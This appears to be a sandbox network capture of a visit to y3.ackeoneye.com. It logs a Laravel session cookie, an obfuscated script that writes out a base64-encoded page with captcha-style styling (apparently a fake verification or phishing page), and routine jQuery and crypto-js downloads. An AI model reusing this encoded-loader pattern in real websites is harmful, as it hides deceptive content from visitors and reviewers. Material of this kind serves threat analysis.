2025-01-27 14:44:56 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 68 4a 57 6b 49 7a 56 33 46 6c 57 48 6c 6d 61 6e 68 6b 64 6e 64 76 57 56 70 49 62 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 6d 39 34 64 45 70 46 57 46 46 6a 62 45 52 48 55 33 68 4b 51 53 39 30 57 6d 35 7a 4d 6a 41 72 51 57 45 32 57 56 4e 46 59 6d 35 46 61 6a 42 4b 4c 79 74 6c 54 55 35 4d 64 33 51 79 65 6d 56 49 56 6d 4a 75 62 30 6c 5a 61 30 74 52 54 7a 42 48 57 54 51 78 62 31 49 33 5a 33 59 78 54 46 4a 68 4d 47 52 6d 4f 44 4a 69 4e 58 52 35 54 55 30 32 4f 57 68 52 4e 54 64 58 61 55 46 5a 53 58 42 4e 55 6e 4d 77 5a 45 5a 78 54 30 39 33 57 69 73 35 4d 32 52 4f 53 31 4e 79 5a 57 46 77 5a 6a 4e 50 54 58 4d 7a 53 6e 59 32 59 30 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImhJWkIzV3FlWHlmanhkdndvWVpIbHc9PSIsInZhbHVlIjoicm94dEpFWFFjbERHU3hKQS90Wm5zMjArQWE2WVNFYm5FajBKLytlTU5Md3QyemVIVmJub0lZa0tRTzBHWTQxb1I3Z3YxTFJhMGRmODJiNXR5TU02OWhRNTdXaUFZSXBNUnMwZEZxT093Wis5M2ROS1NyZWFwZjNPTXMzSnY2Y0Y
2025-01-27 14:44:56 UTC	1369	IN	Data Raw: 32 32 37 32 0d 0a 3c 73 63 72 69 70 74 3e 0a 2f 2a 20 59 6f 75 20 6b 6e 6f 77 20 79 6f 75 20 61 72 65 20 6f 6e 20 74 68 65 20 72 6f 61 64 20 74 6f 20 73 75 63 63 65 73 73 20 69 66 20 79 6f 75 20 77 6f 75 6c 64 20 64 6f 20 79 6f 75 72 20 6a 6f 62 2c 20 61 6e 64 20 6e 6f 74 20 62 65 20 70 61 69 64 20 66 6f 72 20 69 74 2e 20 2a 2f 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 35 4d 79 35 68 59 32 74 6c 62 32 35 6c 65 57 55 75 59 32 39 74 4c 32 78 76 4f 54 49 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 49 47 Data Ascii: 2272<script>/* You know you are on the road to success if you would do your job, and not be paid for it. */if(atob("aHR0cHM6Ly95My5hY2tlb25leWUuY29tL2xvOTIv") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sIG
2025-01-27 14:44:56 UTC	1369	IN	Data Raw: 59 58 42 30 59 32 68 68 4c 57 4e 76 62 6e 52 68 61 57 35 6c 63 6e 74 77 62 33 4e 70 64 47 6c 76 62 6a 6f 67 63 6d 56 73 59 58 52 70 64 6d 55 37 64 47 39 77 4f 69 41 78 4e 6a 4e 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c 57 78 6c 5a 6e 51 36 49 47 46 31 64 47 38 37 66 51 6f 6a 55 6d 39 51 5a 57 4a Data Ascii: YXB0Y2hhLWNvbnRhaW5lcntwb3NpdGlvbjogcmVsYXRpdmU7dG9wOiAxNjNweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQojUm9QZWJ
2025-01-27 14:44:56 UTC	1369	IN	Data Raw: 33 52 6f 61 57 35 6e 4f 6d 46 75 64 47 6c 68 62 47 6c 68 63 32 56 6b 4f 32 5a 76 62 6e 51 74 63 33 52 35 62 47 55 36 62 6d 39 79 62 57 46 73 4f 33 30 4b 63 48 74 30 5a 58 68 30 4c 57 46 73 61 57 64 75 4f 6d 4e 6c 62 6e 52 6c 63 6a 74 39 43 6e 42 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 49 77 63 48 67 37 5a 6d 39 75 64 43 31 33 5a 57 6c 6e 61 48 51 36 4e 44 41 77 4f 32 31 68 63 6d 64 70 62 6a 6f 34 63 48 67 67 4d 44 74 39 43 69 4e 6a 62 32 35 30 5a 57 35 30 65 32 46 73 61 57 64 75 4c 57 6c 30 5a 57 31 7a 4f 6d 4e 6c 62 6e 52 6c 63 6a 74 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4c 57 4e 76 62 47 39 79 4f 69 4e 6d 59 57 5a 68 5a 6d 45 37 59 6d 39 79 5a 47 56 79 4f 6a 46 77 65 43 42 7a 62 32 78 70 5a 43 41 6a 5a 54 42 6c 4d 47 55 77 4f 32 4a 76 65 43 31 7a Data Ascii: 3RoaW5nOmFudGlhbGlhc2VkO2ZvbnQtc3R5bGU6bm9ybWFsO30KcHt0ZXh0LWFsaWduOmNlbnRlcjt9CnB7Zm9udC1zaXplOjIwcHg7Zm9udC13ZWlnaHQ6NDAwO21hcmdpbjo4cHggMDt9CiNjb250ZW50e2FsaWduLWl0ZW1zOmNlbnRlcjtiYWNrZ3JvdW5kLWNvbG9yOiNmYWZhZmE7Ym9yZGVyOjFweCBzb2xpZCAjZTBlMGUwO2JveC1z
2025-01-27 14:44:56 UTC	1369	IN	Data Raw: 67 37 64 32 6c 6b 64 47 67 36 4d 7a 42 77 65 44 74 39 43 69 4e 7a 64 57 4e 6a 5a 58 4e 7a 4c 58 42 79 5a 53 31 70 49 47 78 70 62 6d 56 37 63 33 52 79 62 32 74 6c 4f 69 4d 77 4d 7a 67 78 4d 6a 63 37 59 57 35 70 62 57 46 30 61 57 39 75 4f 6d 5a 70 63 6d 56 33 62 33 4a 72 49 43 34 7a 63 79 42 6c 59 58 4e 6c 4c 57 39 31 64 43 41 78 4f 33 4e 30 63 6d 39 72 5a 53 31 33 61 57 52 30 61 44 6f 78 4f 33 4e 30 63 6d 39 72 5a 53 31 6b 59 58 4e 6f 59 58 4a 79 59 58 6b 36 4d 7a 49 67 4d 7a 49 37 63 33 52 79 62 32 74 6c 4c 57 52 68 63 32 68 76 5a 6d 5a 7a 5a 58 51 36 4c 54 67 37 66 51 6f 6a 63 33 56 6a 59 32 56 7a 63 79 31 30 5a 58 68 30 65 32 46 75 61 57 31 68 64 47 6c 76 62 6a 70 6d 59 57 52 6c 4c 57 6c 75 49 44 46 7a 49 47 5a 76 63 6e 64 68 63 6d 52 7a 4f 32 39 77 59 Data Ascii: g7d2lkdGg6MzBweDt9CiNzdWNjZXNzLXByZS1pIGxpbmV7c3Ryb2tlOiMwMzgxMjc7YW5pbWF0aW9uOmZpcmV3b3JrIC4zcyBlYXNlLW91dCAxO3N0cm9rZS13aWR0aDoxO3N0cm9rZS1kYXNoYXJyYXk6MzIgMzI7c3Ryb2tlLWRhc2hvZmZzZXQ6LTg7fQojc3VjY2Vzcy10ZXh0e2FuaW1hdGlvbjpmYWRlLWluIDFzIGZvcndhcmRzO29wY
2025-01-27 14:44:56 UTC	1369	IN	Data Raw: 37 59 57 78 70 5a 32 34 74 61 58 52 6c 62 58 4d 36 59 32 56 75 64 47 56 79 4f 32 4e 31 63 6e 4e 76 63 6a 70 77 62 32 6c 75 64 47 56 79 4f 32 52 70 63 33 42 73 59 58 6b 36 5a 6d 78 6c 65 44 74 74 59 58 4a 6e 61 57 34 74 62 47 56 6d 64 44 6f 78 4e 6e 42 34 4f 33 52 6c 65 48 51 74 59 57 78 70 5a 32 34 36 62 47 56 6d 64 44 74 39 43 69 35 6a 59 69 31 73 59 6e 74 6b 61 58 4e 77 62 47 46 35 4f 6d 64 79 61 57 51 37 63 47 78 68 59 32 55 74 61 58 52 6c 62 58 4d 36 59 32 56 75 64 47 56 79 4f 33 30 4b 4c 6d 4e 69 4c 57 78 69 49 47 6c 75 63 48 56 30 65 32 4e 31 63 6e 4e 76 63 6a 70 77 62 32 6c 75 64 47 56 79 4f 32 64 79 61 57 51 74 59 58 4a 6c 59 54 6f 78 4c 7a 45 37 61 47 56 70 5a 32 68 30 4f 6a 49 30 63 48 67 37 62 57 46 79 5a 32 6c 75 4f 6a 41 37 62 33 42 68 59 32 Data Ascii: 7YWxpZ24taXRlbXM6Y2VudGVyO2N1cnNvcjpwb2ludGVyO2Rpc3BsYXk6ZmxleDttYXJnaW4tbGVmdDoxNnB4O3RleHQtYWxpZ246bGVmdDt9Ci5jYi1sYntkaXNwbGF5OmdyaWQ7cGxhY2UtaXRlbXM6Y2VudGVyO30KLmNiLWxiIGlucHV0e2N1cnNvcjpwb2ludGVyO2dyaWQtYXJlYToxLzE7aGVpZ2h0OjI0cHg7bWFyZ2luOjA7b3BhY2
2025-01-27 14:44:56 UTC	1369	IN	Data Raw: 5a 58 67 74 5a 57 35 6b 4f 33 30 4b 49 33 52 6c 63 6d 31 7a 65 32 4e 76 62 47 39 79 4f 69 4d 79 4d 7a 49 7a 4d 6a 4d 37 5a 47 6c 7a 63 47 78 68 65 54 70 70 62 6d 78 70 62 6d 55 74 5a 6d 78 6c 65 44 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 4f 48 42 34 4f 32 5a 76 62 6e 51 74 63 33 52 35 62 47 55 36 62 6d 39 79 62 57 46 73 4f 32 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 44 70 6d 62 47 56 34 4c 57 56 75 5a 44 74 73 61 57 35 6c 4c 57 68 6c 61 57 64 6f 64 44 6f 78 4d 48 42 34 4f 33 30 4b 49 33 52 6c 63 6d 31 7a 49 43 35 73 61 57 35 72 4c 58 4e 77 59 57 4e 6c 63 6e 74 74 59 58 4a 6e 61 57 34 36 4d 43 41 75 4d 6e 4a 6c 62 54 74 39 43 69 4e 30 5a 58 4a 74 63 79 42 68 65 32 52 70 63 33 42 73 59 58 6b 36 61 57 35 73 61 57 35 6c 4c 57 4a 73 62 32 4e Data Ascii: ZXgtZW5kO30KI3Rlcm1ze2NvbG9yOiMyMzIzMjM7ZGlzcGxheTppbmxpbmUtZmxleDtmb250LXNpemU6OHB4O2ZvbnQtc3R5bGU6bm9ybWFsO2p1c3RpZnktY29udGVudDpmbGV4LWVuZDtsaW5lLWhlaWdodDoxMHB4O30KI3Rlcm1zIC5saW5rLXNwYWNlcnttYXJnaW46MCAuMnJlbTt9CiN0ZXJtcyBhe2Rpc3BsYXk6aW5saW5lLWJsb2N
2025-01-27 14:44:56 UTC	612	IN	Data Raw: 54 41 37 59 57 35 70 62 57 46 30 61 57 39 75 4f 6e 4e 6a 59 57 78 6c 49 43 34 7a 63 79 42 6c 59 58 4e 6c 4c 57 6c 75 4c 57 39 31 64 43 41 75 4f 58 4d 67 59 6d 39 30 61 44 74 39 43 69 35 6a 59 69 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 59 57 78 70 5a 32 34 74 61 58 52 6c 62 58 4d 36 59 32 56 75 64 47 56 79 4f 32 52 70 63 33 42 73 59 58 6b 36 5a 33 4a 70 5a 44 74 6e 59 58 41 36 4d 54 4a 77 65 44 74 6e 63 6d 6c 6b 4c 58 52 6c 62 58 42 73 59 58 52 6c 4c 57 4e 76 62 48 56 74 62 6e 4d 36 4d 7a 42 77 65 43 42 68 64 58 52 76 4f 32 31 68 63 6d 64 70 62 69 31 73 5a 57 5a 30 4f 6a 45 32 63 48 67 37 66 51 6f 75 62 47 39 6e 62 79 31 30 5a 58 68 30 65 32 5a 70 62 47 77 36 49 7a 41 77 4d 44 74 39 43 69 35 6c 63 6e 4a 76 63 69 31 74 5a 58 4e 7a 59 57 64 6c 65 32 4e 76 Data Ascii: TA7YW5pbWF0aW9uOnNjYWxlIC4zcyBlYXNlLWluLW91dCAuOXMgYm90aDt9Ci5jYi1jb250YWluZXJ7YWxpZ24taXRlbXM6Y2VudGVyO2Rpc3BsYXk6Z3JpZDtnYXA6MTJweDtncmlkLXRlbXBsYXRlLWNvbHVtbnM6MzBweCBhdXRvO21hcmdpbi1sZWZ0OjE2cHg7fQoubG9nby10ZXh0e2ZpbGw6IzAwMDt9Ci5lcnJvci1tZXNzYWdle2Nv
2025-01-27 14:44:56 UTC	1369	IN	Data Raw: 31 30 62 38 0d 0a 7a 61 58 52 6c 5a 43 77 6a 64 47 6c 74 5a 57 39 31 64 43 31 79 5a 57 5a 79 5a 58 4e 6f 4c 57 78 70 62 6d 73 73 49 33 52 70 62 57 56 76 64 58 51 74 63 6d 56 6d 63 6d 56 7a 61 43 31 73 61 57 35 72 4f 6d 78 70 62 6d 73 73 49 33 52 70 62 57 56 76 64 58 51 74 63 6d 56 6d 63 6d 56 7a 61 43 31 73 61 57 35 72 4f 6e 5a 70 63 32 6c 30 5a 57 52 37 59 32 39 73 62 33 49 36 49 7a 49 7a 4d 6a 4d 79 4d 7a 74 39 43 69 4e 6c 65 48 42 70 63 6d 56 6b 4c 58 4a 6c 5a 6e 4a 6c 63 32 67 74 62 47 6c 75 61 7a 70 68 59 33 52 70 64 6d 55 73 49 32 56 34 63 47 6c 79 5a 57 51 74 63 6d 56 6d 63 6d 56 7a 61 43 31 73 61 57 35 72 4f 6d 5a 76 59 33 56 7a 4c 43 4e 6c 65 48 42 70 63 6d 56 6b 4c 58 4a 6c 5a 6e 4a 6c 63 32 67 74 62 47 6c 75 61 7a 70 6f 62 33 5a 6c 63 69 77 6a Data Ascii: 10b8zaXRlZCwjdGltZW91dC1yZWZyZXNoLWxpbmssI3RpbWVvdXQtcmVmcmVzaC1saW5rOmxpbmssI3RpbWVvdXQtcmVmcmVzaC1saW5rOnZpc2l0ZWR7Y29sb3I6IzIzMjMyMzt9CiNleHBpcmVkLXJlZnJlc2gtbGluazphY3RpdmUsI2V4cGlyZWQtcmVmcmVzaC1saW5rOmZvY3VzLCNleHBpcmVkLXJlZnJlc2gtbGluazpob3Zlciwj
2025-01-27 14:44:56 UTC	1369	IN	Data Raw: 42 70 62 6e 42 31 64 44 70 68 59 33 52 70 64 6d 56 2b 4c 6d 4e 69 4c 57 6b 73 4c 6e 52 6f 5a 57 31 6c 4c 57 46 31 64 47 38 67 4c 6d 4e 69 4c 57 78 69 49 47 6c 75 63 48 56 30 4f 6d 5a 76 59 33 56 7a 66 69 35 6a 59 69 31 70 65 32 4a 76 63 6d 52 6c 63 6a 6f 79 63 48 67 67 63 32 39 73 61 57 51 67 49 32 5a 69 59 57 51 30 4d 54 74 39 43 69 35 30 61 47 56 74 5a 53 31 68 64 58 52 76 49 43 35 6a 59 69 31 73 59 69 42 70 62 6e 42 31 64 44 70 6a 61 47 56 6a 61 32 56 6b 66 69 35 6a 59 69 31 70 65 32 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 36 49 7a 5a 6b 4e 6d 51 32 5a 44 74 39 43 69 35 30 61 47 56 74 5a 53 31 68 64 58 52 76 49 43 35 6a 59 69 31 73 59 69 42 70 62 6e 42 31 64 44 70 6a 61 47 56 6a 61 32 56 6b 66 69 35 6a 59 69 31 70 4f 6d 46 6d 64 Data Ascii: BpbnB1dDphY3RpdmV+LmNiLWksLnRoZW1lLWF1dG8gLmNiLWxiIGlucHV0OmZvY3Vzfi5jYi1pe2JvcmRlcjoycHggc29saWQgI2ZiYWQ0MTt9Ci50aGVtZS1hdXRvIC5jYi1sYiBpbnB1dDpjaGVja2Vkfi5jYi1pe2JhY2tncm91bmQtY29sb3I6IzZkNmQ2ZDt9Ci50aGVtZS1hdXRvIC5jYi1sYiBpbnB1dDpjaGVja2Vkfi5jYi1pOmFmd

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:57 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://y3.ackeoneye.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:57 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 27 Jan 2025 14:44:57 GMT Age: 3473623 X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890081-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 1 X-Timer: S1737989097.202300,VS0,VE1 Vary: Accept-Encoding
2025-01-27 14:44:57 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-27 14:44:57 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-01-27 14:44:57 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-01-27 14:44:57 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-01-27 14:44:57 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-01-27 14:44:57 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:57 UTC	650	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://y3.ackeoneye.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:57 UTC	956	IN	HTTP/1.1 200 OK Date: Mon, 27 Jan 2025 14:44:57 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 356970 Expires: Sat, 17 Jan 2026 14:44:57 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DKkAlk45CT6iQmOn3H9tuexyV%2BNIxCIRMsEW6d%2FYb4CzCvySJ2wgX1vb2W7SAkms1x1A7d6uF4hTaQyHVQ58nHNnM7RPx7wTdlXVGGlg4EIhReG579IjsQAPLjDUXCafmQuPsDKu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 90898611ba4bc46d-EWR alt-svc: h3=":443"; ma=86400
